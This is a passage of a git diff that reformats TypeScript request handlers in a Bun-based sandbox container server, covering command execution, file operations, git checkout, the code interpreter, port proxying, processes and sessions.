this.processService.executeCommand(body.command, { sessionId, - timeoutMs: body.timeoutMs, + timeoutMs: body.timeoutMs }); if (!result.success) { @@ -80,20 +89,23 @@ export class ExecuteHandler extends BaseHandler { command: body.command, duration: 0, // Duration not tracked at service level yet timestamp: new Date().toISOString(), - sessionId: sessionId, + sessionId: sessionId }; return this.createTypedResponse(response, context); } - private async handleStreamingExecute(request: Request, context: RequestContext): Promise { + private async handleStreamingExecute( + request: Request, + context: RequestContext + ): Promise { // Parse request body directly const body = await this.parseRequestBody(request); const sessionId = body.sessionId || context.sessionId; // Start the process for streaming const processResult = await this.processService.startProcess(body.command, { - sessionId, + sessionId }); if (!processResult.success) { @@ -109,7 +121,7 @@ export class ExecuteHandler extends BaseHandler { const initialData = `data: ${JSON.stringify({ type: 'start', command: process.command, - timestamp: new Date().toISOString(), + timestamp: new Date().toISOString() })}\n\n`; controller.enqueue(new TextEncoder().encode(initialData)); @@ -118,7 +130,7 @@ export class ExecuteHandler extends BaseHandler { const stdoutData = `data: ${JSON.stringify({ type: 'stdout', data: process.stdout, - timestamp: new Date().toISOString(), + timestamp: new Date().toISOString() })}\n\n`; controller.enqueue(new TextEncoder().encode(stdoutData)); } @@ -127,7 +139,7 @@ export class ExecuteHandler extends BaseHandler { const stderrData = `data: ${JSON.stringify({ type: 'stderr', data: process.stderr, - timestamp: new Date().toISOString(), + timestamp: new Date().toISOString() })}\n\n`; controller.enqueue(new TextEncoder().encode(stderrData)); } @@ -137,7 +149,7 @@ export class ExecuteHandler extends BaseHandler { const eventData = `data: ${JSON.stringify({ type: stream, // 'stdout' or 'stderr' directly data, - timestamp: new Date().toISOString(), + timestamp: new Date().toISOString() })}\n\n`; controller.enqueue(new TextEncoder().encode(eventData)); }; @@ -148,7 +160,7 @@ export class ExecuteHandler extends BaseHandler { const finalData = `data: ${JSON.stringify({ type: 'complete', exitCode: process.exitCode, - timestamp: new Date().toISOString(), + timestamp: new Date().toISOString() })}\n\n`; controller.enqueue(new TextEncoder().encode(finalData)); controller.close(); @@ -160,11 +172,13 @@ export class ExecuteHandler extends BaseHandler { process.statusListeners.add(statusListener); // If process already completed, send complete event immediately - if (['completed', 'failed', 'killed', 'error'].includes(process.status)) { + if ( + ['completed', 'failed', 'killed', 'error'].includes(process.status) + ) { const finalData = `data: ${JSON.stringify({ type: 'complete', exitCode: process.exitCode, - timestamp: new Date().toISOString(), + timestamp: new Date().toISOString() })}\n\n`; controller.enqueue(new TextEncoder().encode(finalData)); controller.close(); @@ -175,7 +189,7 @@ export class ExecuteHandler extends BaseHandler { process.outputListeners.delete(outputListener); process.statusListeners.delete(statusListener); }; - }, + } }); return new Response(stream, { @@ -183,9 +197,9 @@ export class ExecuteHandler extends BaseHandler { headers: { 'Content-Type': 'text/event-stream', 'Cache-Control': 'no-cache', - 'Connection': 'keep-alive', - ...context.corsHeaders, - }, + Connection: 'keep-alive', + ...context.corsHeaders + } }); } -} \ No newline at end of file +} diff --git a/packages/sandbox-container/src/handlers/file-handler.ts b/packages/sandbox-container/src/handlers/file-handler.ts index 54b4c849..062d0d96 100644 --- a/packages/sandbox-container/src/handlers/file-handler.ts +++ b/packages/sandbox-container/src/handlers/file-handler.ts @@ -3,7 +3,8 @@ import type { FileExistsRequest, FileExistsResult, FileStreamEvent, - ListFilesResult,Logger, + ListFilesResult, + Logger, MkdirResult, MoveFileResult, ReadFileResult, @@ -57,18 +58,24 @@ export class FileHandler extends BaseHandler { case '/api/exists': return await this.handleExists(request, context); default: - return this.createErrorResponse({ - message: 'Invalid file endpoint', - code: ErrorCode.UNKNOWN_ERROR, - }, context); + return this.createErrorResponse( + { + message: 'Invalid file endpoint', + code: ErrorCode.UNKNOWN_ERROR + }, + context + ); } } - private async handleRead(request: Request, context: RequestContext): Promise { + private async handleRead( + request: Request, + context: RequestContext + ): Promise { const body = await this.parseRequestBody(request); const result = await this.fileService.readFile(body.path, { - encoding: body.encoding || 'utf-8', + encoding: body.encoding || 'utf-8' }); if (result.success) { @@ -80,7 +87,7 @@ export class FileHandler extends BaseHandler { encoding: result.metadata?.encoding, isBinary: result.metadata?.isBinary, mimeType: result.metadata?.mimeType, - size: result.metadata?.size, + size: result.metadata?.size }; return this.createTypedResponse(response, context); @@ -89,12 +96,17 @@ export class FileHandler extends BaseHandler { } } - private async handleReadStream(request: Request, context: RequestContext): Promise { + private async handleReadStream( + request: Request, + context: RequestContext + ): Promise { const body = await this.parseRequestBody(request); try { // Get file metadata first - const metadataResult = await this.fileService.readFile(body.path, { encoding: 'utf-8' }); + const metadataResult = await this.fileService.readFile(body.path, { + encoding: 'utf-8' + }); if (!metadataResult.success) { // Return error as SSE event @@ -105,7 +117,9 @@ export class FileHandler extends BaseHandler { }; const stream = new ReadableStream({ start(controller) { - controller.enqueue(encoder.encode(`data: ${JSON.stringify(errorEvent)}\n\n`)); + controller.enqueue( + encoder.encode(`data: ${JSON.stringify(errorEvent)}\n\n`) + ); controller.close(); } }); @@ -114,28 +128,35 @@ export class FileHandler extends BaseHandler { headers: { 'Content-Type': 'text/event-stream', 'Cache-Control': 'no-cache', - 'Connection': 'keep-alive', - ...context.corsHeaders, - }, + Connection: 'keep-alive', + ...context.corsHeaders + } }); } // Create SSE stream - const stream = await this.fileService.readFileStreamOperation(body.path, body.sessionId); + const stream = await this.fileService.readFileStreamOperation( + body.path, + body.sessionId + ); return new Response(stream, { headers: { 'Content-Type': 'text/event-stream', 'Cache-Control': 'no-cache', - 'Connection': 'keep-alive', - ...context.corsHeaders, - }, + Connection: 'keep-alive', + ...context.corsHeaders + } }); } catch (error) { - this.logger.error('File streaming failed', error instanceof Error ? error : undefined, { - requestId: context.requestId, - path: body.path, - }); + this.logger.error( + 'File streaming failed', + error instanceof Error ? error : undefined, + { + requestId: context.requestId, + path: body.path + } + ); // Return error as SSE event const encoder = new TextEncoder(); @@ -145,7 +166,9 @@ export class FileHandler extends BaseHandler { }; const stream = new ReadableStream({ start(controller) { - controller.enqueue(encoder.encode(`data: ${JSON.stringify(errorEvent)}\n\n`)); + controller.enqueue( + encoder.encode(`data: ${JSON.stringify(errorEvent)}\n\n`) + ); controller.close(); } }); @@ -154,25 +177,28 @@ export class FileHandler extends BaseHandler { headers: { 'Content-Type': 'text/event-stream', 'Cache-Control': 'no-cache', - 'Connection': 'keep-alive', - ...context.corsHeaders, - }, + Connection: 'keep-alive', + ...context.corsHeaders + } }); } } - private async handleWrite(request: Request, context: RequestContext): Promise { + private async handleWrite( + request: Request, + context: RequestContext + ): Promise { const body = await this.parseRequestBody(request); const result = await this.fileService.writeFile(body.path, body.content, { - encoding: body.encoding || 'utf-8', + encoding: body.encoding || 'utf-8' }); if (result.success) { const response: WriteFileResult = { success: true, path: body.path, - timestamp: new Date().toISOString(), + timestamp: new Date().toISOString() }; return this.createTypedResponse(response, context); @@ -181,7 +207,10 @@ export class FileHandler extends BaseHandler { } } - private async handleDelete(request: Request, context: RequestContext): Promise { + private async handleDelete( + request: Request, + context: RequestContext + ): Promise { const body = await this.parseRequestBody(request); const result = await this.fileService.deleteFile(body.path); @@ -190,7 +219,7 @@ export class FileHandler extends BaseHandler { const response: DeleteFileResult = { success: true, path: body.path, - timestamp: new Date().toISOString(), + timestamp: new Date().toISOString() }; return this.createTypedResponse(response, context); @@ -199,17 +228,23 @@ export class FileHandler extends BaseHandler { } } - private async handleRename(request: Request, context: RequestContext): Promise { + private async handleRename( + request: Request, + context: RequestContext + ): Promise { const body = await this.parseRequestBody(request); - const result = await this.fileService.renameFile(body.oldPath, body.newPath); + const result = await this.fileService.renameFile( + body.oldPath, + body.newPath + ); if (result.success) { const response: RenameFileResult = { success: true, path: body.oldPath, newPath: body.newPath, - timestamp: new Date().toISOString(), + timestamp: new Date().toISOString() }; return this.createTypedResponse(response, context); @@ -218,17 +253,23 @@ export class FileHandler extends BaseHandler { } } - private async handleMove(request: Request, context: RequestContext): Promise { + private async handleMove( + request: Request, + context: RequestContext + ): Promise { const body = await this.parseRequestBody(request); - const result = await this.fileService.moveFile(body.sourcePath, body.destinationPath); + const result = await this.fileService.moveFile( + body.sourcePath, + body.destinationPath + ); if (result.success) { const response: MoveFileResult = { success: true, path: body.sourcePath, newPath: body.destinationPath, - timestamp: new Date().toISOString(), + timestamp: new Date().toISOString() }; return this.createTypedResponse(response, context); @@ -237,11 +278,14 @@ export class FileHandler extends BaseHandler { } } - private async handleMkdir(request: Request, context: RequestContext): Promise { + private async handleMkdir( + request: Request, + context: RequestContext + ): Promise { const body = await this.parseRequestBody(request); const result = await this.fileService.createDirectory(body.path, { - recursive: body.recursive, + recursive: body.recursive }); if (result.success) { @@ -249,7 +293,7 @@ export class FileHandler extends BaseHandler { success: true, path: body.path, recursive: body.recursive ?? false, - timestamp: new Date().toISOString(), + timestamp: new Date().toISOString() }; return this.createTypedResponse(response, context); @@ -258,7 +302,10 @@ export class FileHandler extends BaseHandler { } } - private async handleListFiles(request: Request, context: RequestContext): Promise { + private async handleListFiles( + request: Request, + context: RequestContext + ): Promise { const body = await this.parseRequestBody(request); const result = await this.fileService.listFiles( @@ -273,7 +320,7 @@ export class FileHandler extends BaseHandler { path: body.path, files: result.data, count: result.data.length, - timestamp: new Date().toISOString(), + timestamp: new Date().toISOString() }; return this.createTypedResponse(response, context); @@ -282,7 +329,10 @@ export class FileHandler extends BaseHandler { } } - private async handleExists(request: Request, context: RequestContext): Promise { + private async handleExists( + request: Request, + context: RequestContext + ): Promise { const body = await this.parseRequestBody(request); const result = await this.fileService.exists(body.path, body.sessionId); @@ -292,7 +342,7 @@ export class FileHandler extends BaseHandler { success: true, path: body.path, exists: result.data, - timestamp: new Date().toISOString(), + timestamp: new Date().toISOString() }; return this.createTypedResponse(response, context); @@ -300,4 +350,4 @@ export class FileHandler extends BaseHandler { return this.createErrorResponse(result.error, context); } } -} \ No newline at end of file +} diff --git a/packages/sandbox-container/src/handlers/git-handler.ts b/packages/sandbox-container/src/handlers/git-handler.ts index 2c8317bc..539235bf 100644 --- a/packages/sandbox-container/src/handlers/git-handler.ts +++ b/packages/sandbox-container/src/handlers/git-handler.ts @@ -22,21 +22,27 @@ export class GitHandler extends BaseHandler { case '/api/git/checkout': return await this.handleCheckout(request, context); default: - return this.createErrorResponse({ - message: 'Invalid git endpoint', - code: ErrorCode.UNKNOWN_ERROR, - }, context); + return this.createErrorResponse( + { + message: 'Invalid git endpoint', + code: ErrorCode.UNKNOWN_ERROR + }, + context + ); } } - private async handleCheckout(request: Request, context: RequestContext): Promise { + private async handleCheckout( + request: Request, + context: RequestContext + ): Promise { const body = await this.parseRequestBody(request); const sessionId = body.sessionId || context.sessionId; const result = await this.gitService.cloneRepository(body.repoUrl, { branch: body.branch, targetDir: body.targetDir, - sessionId, + sessionId }); if (result.success) { @@ -45,7 +51,7 @@ export class GitHandler extends BaseHandler { repoUrl: body.repoUrl, branch: result.data.branch, targetDir: result.data.path, - timestamp: new Date().toISOString(), + timestamp: new Date().toISOString() }; return this.createTypedResponse(response, context); @@ -54,10 +60,10 @@ export class GitHandler extends BaseHandler { requestId: context.requestId, repoUrl: body.repoUrl, errorCode: result.error.code, - errorMessage: result.error.message, + errorMessage: result.error.message }); return this.createErrorResponse(result.error, context); } } -} \ No newline at end of file +} diff --git a/packages/sandbox-container/src/handlers/interpreter-handler.ts b/packages/sandbox-container/src/handlers/interpreter-handler.ts index c1c69e16..5eee9c39 100644 --- a/packages/sandbox-container/src/handlers/interpreter-handler.ts +++ b/packages/sandbox-container/src/handlers/interpreter-handler.ts @@ -3,7 +3,8 @@ import type { ContextCreateResult, ContextDeleteResult, ContextListResult, - InterpreterHealthResult,Logger + InterpreterHealthResult, + Logger } from '@repo/shared'; import { ErrorCode } from '@repo/shared/errors'; @@ -47,20 +48,26 @@ export class InterpreterHandler extends BaseHandler { return await this.handleExecuteCode(request, context); } - return this.createErrorResponse({ - message: 'Invalid interpreter endpoint', - code: ErrorCode.UNKNOWN_ERROR, - }, context); + return this.createErrorResponse( + { + message: 'Invalid interpreter endpoint', + code: ErrorCode.UNKNOWN_ERROR + }, + context + ); } - private async handleHealth(request: Request, context: RequestContext): Promise { + private async handleHealth( + request: Request, + context: RequestContext + ): Promise { const result = await this.interpreterService.getHealthStatus(); if (result.success) { const response: InterpreterHealthResult = { success: true, status: result.data.ready ? 'healthy' : 'unhealthy', - timestamp: new Date().toISOString(), + timestamp: new Date().toISOString() }; return this.createTypedResponse(response, context); @@ -69,7 +76,10 @@ export class InterpreterHandler extends BaseHandler { } } - private async handleCreateContext(request: Request, context: RequestContext): Promise { + private async handleCreateContext( + request: Request, + context: RequestContext + ): Promise { const body = await this.parseRequestBody(request); const result = await this.interpreterService.createContext(body); @@ -82,7 +92,7 @@ export class InterpreterHandler extends BaseHandler { contextId: contextData.id, language: contextData.language, cwd: contextData.cwd, - timestamp: new Date().toISOString(), + timestamp: new Date().toISOString() }; return this.createTypedResponse(response, context); @@ -93,15 +103,15 @@ export class InterpreterHandler extends BaseHandler { JSON.stringify({ success: false, error: result.error, - timestamp: new Date().toISOString(), + timestamp: new Date().toISOString() }), { status: 503, headers: { 'Content-Type': 'application/json', 'Retry-After': String(result.error.details?.retryAfter || 5), - ...context.corsHeaders, - }, + ...context.corsHeaders + } } ); } @@ -110,18 +120,21 @@ export class InterpreterHandler extends BaseHandler { } } - private async handleListContexts(request: Request, context: RequestContext): Promise { + private async handleListContexts( + request: Request, + context: RequestContext + ): Promise { const result = await this.interpreterService.listContexts(); if (result.success) { const response: ContextListResult = { success: true, - contexts: result.data.map(ctx => ({ + contexts: result.data.map((ctx) => ({ id: ctx.id, language: ctx.language, - cwd: ctx.cwd, + cwd: ctx.cwd })), - timestamp: new Date().toISOString(), + timestamp: new Date().toISOString() }; return this.createTypedResponse(response, context); @@ -130,14 +143,18 @@ export class InterpreterHandler extends BaseHandler { } } - private async handleDeleteContext(request: Request, context: RequestContext, contextId: string): Promise { + private async handleDeleteContext( + request: Request, + context: RequestContext, + contextId: string + ): Promise { const result = await this.interpreterService.deleteContext(contextId); if (result.success) { const response: ContextDeleteResult = { success: true, contextId: contextId, - timestamp: new Date().toISOString(), + timestamp: new Date().toISOString() }; return this.createTypedResponse(response, context); @@ -146,7 +163,10 @@ export class InterpreterHandler extends BaseHandler { } } - private async handleExecuteCode(request: Request, context: RequestContext): Promise { + private async handleExecuteCode( + request: Request, + context: RequestContext + ): Promise { const body = await this.parseRequestBody<{ context_id: string; code: string; diff --git a/packages/sandbox-container/src/handlers/misc-handler.ts b/packages/sandbox-container/src/handlers/misc-handler.ts index 4f8aa012..36aaec91 100644 --- a/packages/sandbox-container/src/handlers/misc-handler.ts +++ b/packages/sandbox-container/src/handlers/misc-handler.ts @@ -6,7 +6,6 @@ import type { RequestContext } from '../core/types'; import { BaseHandler } from './base-handler'; export class MiscHandler extends BaseHandler { - async handle(request: Request, context: RequestContext): Promise { const url = new URL(request.url); const pathname = url.pathname; @@ -21,51 +20,66 @@ export class MiscHandler extends BaseHandler { case '/api/version': return await this.handleVersion(request, context); default: - return this.createErrorResponse({ - message: 'Invalid endpoint', - code: ErrorCode.UNKNOWN_ERROR, - }, context); + return this.createErrorResponse( + { + message: 'Invalid endpoint', + code: ErrorCode.UNKNOWN_ERROR + }, + context + ); } } - private async handleRoot(request: Request, context: RequestContext): Promise { + private async handleRoot( + request: Request, + context: RequestContext + ): Promise { return new Response('Hello from Bun server! ๐Ÿš€', { headers: { 'Content-Type': 'text/plain; charset=utf-8', - ...context.corsHeaders, - }, + ...context.corsHeaders + } }); } - private async handleHealth(request: Request, context: RequestContext): Promise { + private async handleHealth( + request: Request, + context: RequestContext + ): Promise { const response: HealthCheckResult = { success: true, status: 'healthy', - timestamp: new Date().toISOString(), + timestamp: new Date().toISOString() }; return this.createTypedResponse(response, context); } - private async handleShutdown(request: Request, context: RequestContext): Promise { + private async handleShutdown( + request: Request, + context: RequestContext + ): Promise { const response: ShutdownResult = { success: true, message: 'Container shutdown initiated', - timestamp: new Date().toISOString(), + timestamp: new Date().toISOString() }; return this.createTypedResponse(response, context); } - private async handleVersion(request: Request, context: RequestContext): Promise { + private async handleVersion( + request: Request, + context: RequestContext + ): Promise { const version = process.env.SANDBOX_VERSION || 'unknown'; const response = { success: true, version, - timestamp: new Date().toISOString(), + timestamp: new Date().toISOString() }; return this.createTypedResponse(response, context); } -} \ No newline at end of file +} diff --git a/packages/sandbox-container/src/handlers/port-handler.ts b/packages/sandbox-container/src/handlers/port-handler.ts index 7edfd6bb..fb2bd651 100644 --- a/packages/sandbox-container/src/handlers/port-handler.ts +++ b/packages/sandbox-container/src/handlers/port-handler.ts @@ -1,5 +1,6 @@ // Port Handler -import type {Logger, +import type { + Logger, PortCloseResult, PortExposeResult, PortListResult @@ -41,13 +42,19 @@ export class PortHandler extends BaseHandler { return await this.handleProxy(request, context); } - return this.createErrorResponse({ - message: 'Invalid port endpoint', - code: ErrorCode.UNKNOWN_ERROR, - }, context); + return this.createErrorResponse( + { + message: 'Invalid port endpoint', + code: ErrorCode.UNKNOWN_ERROR + }, + context + ); } - private async handleExpose(request: Request, context: RequestContext): Promise { + private async handleExpose( + request: Request, + context: RequestContext + ): Promise { const body = await this.parseRequestBody(request); const result = await this.portService.exposePort(body.port, body.name); @@ -59,7 +66,7 @@ export class PortHandler extends BaseHandler { success: true, port: portInfo.port, url: `http://localhost:${portInfo.port}`, // Generate URL from port - timestamp: new Date().toISOString(), + timestamp: new Date().toISOString() }; return this.createTypedResponse(response, context); @@ -68,14 +75,18 @@ export class PortHandler extends BaseHandler { } } - private async handleUnexpose(request: Request, context: RequestContext, port: number): Promise { + private async handleUnexpose( + request: Request, + context: RequestContext, + port: number + ): Promise { const result = await this.portService.unexposePort(port); if (result.success) { const response: PortCloseResult = { success: true, port, - timestamp: new Date().toISOString(), + timestamp: new Date().toISOString() }; return this.createTypedResponse(response, context); @@ -84,20 +95,23 @@ export class PortHandler extends BaseHandler { } } - private async handleList(request: Request, context: RequestContext): Promise { + private async handleList( + request: Request, + context: RequestContext + ): Promise { const result = await this.portService.getExposedPorts(); if (result.success) { - const ports = result.data!.map(portInfo => ({ + const ports = result.data!.map((portInfo) => ({ port: portInfo.port, url: `http://localhost:${portInfo.port}`, - status: portInfo.status, + status: portInfo.status })); const response: PortListResult = { success: true, ports, - timestamp: new Date().toISOString(), + timestamp: new Date().toISOString() }; return this.createTypedResponse(response, context); @@ -106,27 +120,36 @@ export class PortHandler extends BaseHandler { } } - private async handleProxy(request: Request, context: RequestContext): Promise { + private async handleProxy( + request: Request, + context: RequestContext + ): Promise { try { // Extract port from URL path: /proxy/{port}/... const url = new URL(request.url); const pathSegments = url.pathname.split('/'); - + if (pathSegments.length < 3) { - return this.createErrorResponse({ - message: 'Invalid proxy URL format', - code: ErrorCode.UNKNOWN_ERROR, - }, context); + return this.createErrorResponse( + { + message: 'Invalid proxy URL format', + code: ErrorCode.UNKNOWN_ERROR + }, + context + ); } const portStr = pathSegments[2]; const port = parseInt(portStr, 10); if (Number.isNaN(port)) { - return this.createErrorResponse({ - message: 'Invalid port number in proxy URL', - code: ErrorCode.UNKNOWN_ERROR, - }, context); + return this.createErrorResponse( + { + message: 'Invalid port number in proxy URL', + code: ErrorCode.UNKNOWN_ERROR + }, + context + ); } // Use the port service to proxy the request @@ -134,14 +157,22 @@ export class PortHandler extends BaseHandler { return response; } catch (error) { - this.logger.error('Proxy request failed', error instanceof Error ? error : undefined, { - requestId: context.requestId, - }); - - return this.createErrorResponse({ - message: error instanceof Error ? error.message : 'Proxy request failed', - code: ErrorCode.UNKNOWN_ERROR, - }, context); + this.logger.error( + 'Proxy request failed', + error instanceof Error ? error : undefined, + { + requestId: context.requestId + } + ); + + return this.createErrorResponse( + { + message: + error instanceof Error ? error.message : 'Proxy request failed', + code: ErrorCode.UNKNOWN_ERROR + }, + context + ); } } -} \ No newline at end of file +} diff --git a/packages/sandbox-container/src/handlers/process-handler.ts b/packages/sandbox-container/src/handlers/process-handler.ts index 75d2a866..7fa4a9f4 100644 --- a/packages/sandbox-container/src/handlers/process-handler.ts +++ b/packages/sandbox-container/src/handlers/process-handler.ts @@ -1,14 +1,19 @@ -import type {Logger, +import type { + Logger, ProcessCleanupResult, ProcessInfoResult, ProcessKillResult, ProcessListResult, ProcessLogsResult, - ProcessStartResult + ProcessStartResult } from '@repo/shared'; import { ErrorCode } from '@repo/shared/errors'; -import type { ProcessStatus, RequestContext, StartProcessRequest } from '../core/types'; +import type { + ProcessStatus, + RequestContext, + StartProcessRequest +} from '../core/types'; import type { ProcessService } from '../services/process-service'; import { BaseHandler } from './base-handler'; @@ -49,13 +54,19 @@ export class ProcessHandler extends BaseHandler { } } - return this.createErrorResponse({ - message: 'Invalid process endpoint', - code: ErrorCode.UNKNOWN_ERROR, - }, context); + return this.createErrorResponse( + { + message: 'Invalid process endpoint', + code: ErrorCode.UNKNOWN_ERROR + }, + context + ); } - private async handleStart(request: Request, context: RequestContext): Promise { + private async handleStart( + request: Request, + context: RequestContext + ): Promise { const body = await this.parseRequestBody(request); // Extract command and pass remaining fields as options (flat structure) @@ -71,7 +82,7 @@ export class ProcessHandler extends BaseHandler { processId: process.id, pid: process.pid, command: process.command, - timestamp: new Date().toISOString(), + timestamp: new Date().toISOString() }; return this.createTypedResponse(response, context); @@ -80,7 +91,10 @@ export class ProcessHandler extends BaseHandler { } } - private async handleList(request: Request, context: RequestContext): Promise { + private async handleList( + request: Request, + context: RequestContext + ): Promise { // Extract query parameters for filtering const url = new URL(request.url); const status = url.searchParams.get('status'); @@ -95,15 +109,15 @@ export class ProcessHandler extends BaseHandler { if (result.success) { const response: ProcessListResult = { success: true, - processes: result.data.map(process => ({ + processes: result.data.map((process) => ({ id: process.id, pid: process.pid, command: process.command, status: process.status, startTime: process.startTime.toISOString(), - exitCode: process.exitCode, + exitCode: process.exitCode })), - timestamp: new Date().toISOString(), + timestamp: new Date().toISOString() }; return this.createTypedResponse(response, context); @@ -112,7 +126,11 @@ export class ProcessHandler extends BaseHandler { } } - private async handleGet(request: Request, context: RequestContext, processId: string): Promise { + private async handleGet( + request: Request, + context: RequestContext, + processId: string + ): Promise { const result = await this.processService.getProcess(processId); if (result.success) { @@ -127,9 +145,9 @@ export class ProcessHandler extends BaseHandler { status: process.status, startTime: process.startTime.toISOString(), endTime: process.endTime?.toISOString(), - exitCode: process.exitCode, + exitCode: process.exitCode }, - timestamp: new Date().toISOString(), + timestamp: new Date().toISOString() }; return this.createTypedResponse(response, context); @@ -138,14 +156,18 @@ export class ProcessHandler extends BaseHandler { } } - private async handleKill(request: Request, context: RequestContext, processId: string): Promise { + private async handleKill( + request: Request, + context: RequestContext, + processId: string + ): Promise { const result = await this.processService.killProcess(processId); if (result.success) { const response: ProcessKillResult = { success: true, processId, - timestamp: new Date().toISOString(), + timestamp: new Date().toISOString() }; return this.createTypedResponse(response, context); @@ -154,14 +176,17 @@ export class ProcessHandler extends BaseHandler { } } - private async handleKillAll(request: Request, context: RequestContext): Promise { + private async handleKillAll( + request: Request, + context: RequestContext + ): Promise { const result = await this.processService.killAllProcesses(); if (result.success) { const response: ProcessCleanupResult = { success: true, cleanedCount: result.data, - timestamp: new Date().toISOString(), + timestamp: new Date().toISOString() }; return this.createTypedResponse(response, context); @@ -170,7 +195,11 @@ export class ProcessHandler extends BaseHandler { } } - private async handleLogs(request: Request, context: RequestContext, processId: string): Promise { + private async handleLogs( + request: Request, + context: RequestContext, + processId: string + ): Promise { const result = await this.processService.getProcess(processId); if (result.success) { @@ -181,7 +210,7 @@ export class ProcessHandler extends BaseHandler { processId, stdout: process.stdout, stderr: process.stderr, - timestamp: new Date().toISOString(), + timestamp: new Date().toISOString() }; return this.createTypedResponse(response, context); @@ -190,7 +219,11 @@ export class ProcessHandler extends BaseHandler { } } - private async handleStream(request: Request, context: RequestContext, processId: string): Promise { + private async handleStream( + request: Request, + context: RequestContext, + processId: string + ): Promise { const result = await this.processService.streamProcessLogs(processId); if (result.success) { @@ -210,7 +243,7 @@ export class ProcessHandler extends BaseHandler { processId: process.id, command: process.command, status: process.status, - timestamp: new Date().toISOString(), + timestamp: new Date().toISOString() })}\n\n`; controller.enqueue(new TextEncoder().encode(initialData)); @@ -220,7 +253,7 @@ export class ProcessHandler extends BaseHandler { type: 'stdout', data: process.stdout, processId: process.id, - timestamp: new Date().toISOString(), + timestamp: new Date().toISOString() })}\n\n`; controller.enqueue(new TextEncoder().encode(stdoutData)); } @@ -230,18 +263,21 @@ export class ProcessHandler extends BaseHandler { type: 'stderr', data: process.stderr, processId: process.id, - timestamp: new Date().toISOString(), + timestamp: new Date().toISOString() })}\n\n`; controller.enqueue(new TextEncoder().encode(stderrData)); } // Set up listeners for new output - const outputListener = (stream: 'stdout' | 'stderr', data: string) => { + const outputListener = ( + stream: 'stdout' | 'stderr', + data: string + ) => { const eventData = `data: ${JSON.stringify({ type: stream, // 'stdout' or 'stderr' directly data, processId: process.id, - timestamp: new Date().toISOString(), + timestamp: new Date().toISOString() })}\n\n`; controller.enqueue(new TextEncoder().encode(eventData)); }; @@ -254,7 +290,7 @@ export class ProcessHandler extends BaseHandler { processId: process.id, exitCode: process.exitCode, data: `Process ${status} with exit code ${process.exitCode}`, - timestamp: new Date().toISOString(), + timestamp: new Date().toISOString() })}\n\n`; controller.enqueue(new TextEncoder().encode(finalData)); controller.close(); @@ -266,13 +302,15 @@ export class ProcessHandler extends BaseHandler { process.statusListeners.add(statusListener); // If process already completed, send exit event immediately - if (['completed', 'failed', 'killed', 'error'].includes(process.status)) { + if ( + ['completed', 'failed', 'killed', 'error'].includes(process.status) + ) { const finalData = `data: ${JSON.stringify({ type: 'exit', processId: process.id, exitCode: process.exitCode, data: `Process ${process.status} with exit code ${process.exitCode}`, - timestamp: new Date().toISOString(), + timestamp: new Date().toISOString() })}\n\n`; controller.enqueue(new TextEncoder().encode(finalData)); controller.close(); @@ -283,7 +321,7 @@ export class ProcessHandler extends BaseHandler { process.outputListeners.delete(outputListener); process.statusListeners.delete(statusListener); }; - }, + } }); return new Response(stream, { @@ -291,12 +329,12 @@ export class ProcessHandler extends BaseHandler { headers: { 'Content-Type': 'text/event-stream', 'Cache-Control': 'no-cache', - 'Connection': 'keep-alive', - ...context.corsHeaders, - }, + Connection: 'keep-alive', + ...context.corsHeaders + } }); } else { return this.createErrorResponse(result.error, context); } } -} \ No newline at end of file +} diff --git a/packages/sandbox-container/src/handlers/session-handler.ts b/packages/sandbox-container/src/handlers/session-handler.ts index 869fa547..c903df52 100644 --- a/packages/sandbox-container/src/handlers/session-handler.ts +++ b/packages/sandbox-container/src/handlers/session-handler.ts @@ -1,4 +1,4 @@ -import { randomBytes } from "node:crypto"; +import { randomBytes } from 'node:crypto'; import type { Logger, SessionCreateResult } from '@repo/shared'; import { ErrorCode } from '@repo/shared/errors'; @@ -31,21 +31,27 @@ export class SessionHandler extends BaseHandler { case '/api/session/list': return await this.handleList(request, context); default: - return this.createErrorResponse({ - message: 'Invalid session endpoint', - code: ErrorCode.UNKNOWN_ERROR, - }, context); + return this.createErrorResponse( + { + message: 'Invalid session endpoint', + code: ErrorCode.UNKNOWN_ERROR + }, + context + ); } } - private async handleCreate(request: Request, context: RequestContext): Promise { + private async handleCreate( + request: Request, + context: RequestContext + ): Promise { // Parse request body for session options let sessionId: string; let env: Record; let cwd: string; try { - const body = await request.json() as any; + const body = (await request.json()) as any; sessionId = body.id || this.generateSessionId(); env = body.env || {}; cwd = body.cwd || '/workspace'; @@ -59,7 +65,7 @@ export class SessionHandler extends BaseHandler { const result = await this.sessionManager.createSession({ id: sessionId, env, - cwd, + cwd }); if (result.success) { @@ -68,7 +74,7 @@ export class SessionHandler extends BaseHandler { const response = { success: true, data: result.data, - timestamp: new Date().toISOString(), + timestamp: new Date().toISOString() }; return this.createTypedResponse(response, context); @@ -77,14 +83,17 @@ export class SessionHandler extends BaseHandler { } } - private async handleList(request: Request, context: RequestContext): Promise { + private async handleList( + request: Request, + context: RequestContext + ): Promise { const result = await this.sessionManager.listSessions(); if (result.success) { const response: SessionListResult = { success: true, data: result.data, - timestamp: new Date().toISOString(), + timestamp: new Date().toISOString() }; return this.createTypedResponse(response, context); diff --git a/packages/sandbox-container/src/index.ts b/packages/sandbox-container/src/index.ts index 8b1bc9a9..f5d8dd49 100644 --- a/packages/sandbox-container/src/index.ts +++ b/packages/sandbox-container/src/index.ts @@ -1,5 +1,5 @@ import { createLogger } from '@repo/shared'; -import { serve } from "bun"; +import { serve } from 'bun'; import { Container } from './core/container'; import { Router } from './core/router'; import { setupRoutes } from './routes/setup'; @@ -7,17 +7,19 @@ import { setupRoutes } from './routes/setup'; // Create module-level logger for server lifecycle events const logger = createLogger({ component: 'container' }); -async function createApplication(): Promise<{ fetch: (req: Request) => Promise }> { +async function createApplication(): Promise<{ + fetch: (req: Request) => Promise; +}> { // Initialize dependency injection container const container = new Container(); await container.initialize(); // Create and configure router const router = new Router(logger); - + // Add global CORS middleware router.use(container.get('corsMiddleware')); - + // Setup all application routes setupRoutes(router, container); @@ -33,14 +35,14 @@ const app = await createApplication(); const server = serve({ idleTimeout: 255, fetch: app.fetch, - hostname: "0.0.0.0", + hostname: '0.0.0.0', port: 3000, // Enhanced WebSocket placeholder for future streaming features - websocket: { - async message() { + websocket: { + async message() { // WebSocket functionality can be added here in the future - } - }, + } + } }); logger.info('Container server started', { @@ -68,7 +70,10 @@ process.on('SIGTERM', async () => { logger.info('Services cleaned up successfully'); } catch (error) { - logger.error('Error during cleanup', error instanceof Error ? error : new Error(String(error))); + logger.error( + 'Error during cleanup', + error instanceof Error ? error : new Error(String(error)) + ); } } diff --git a/packages/sandbox-container/src/interpreter-service.ts 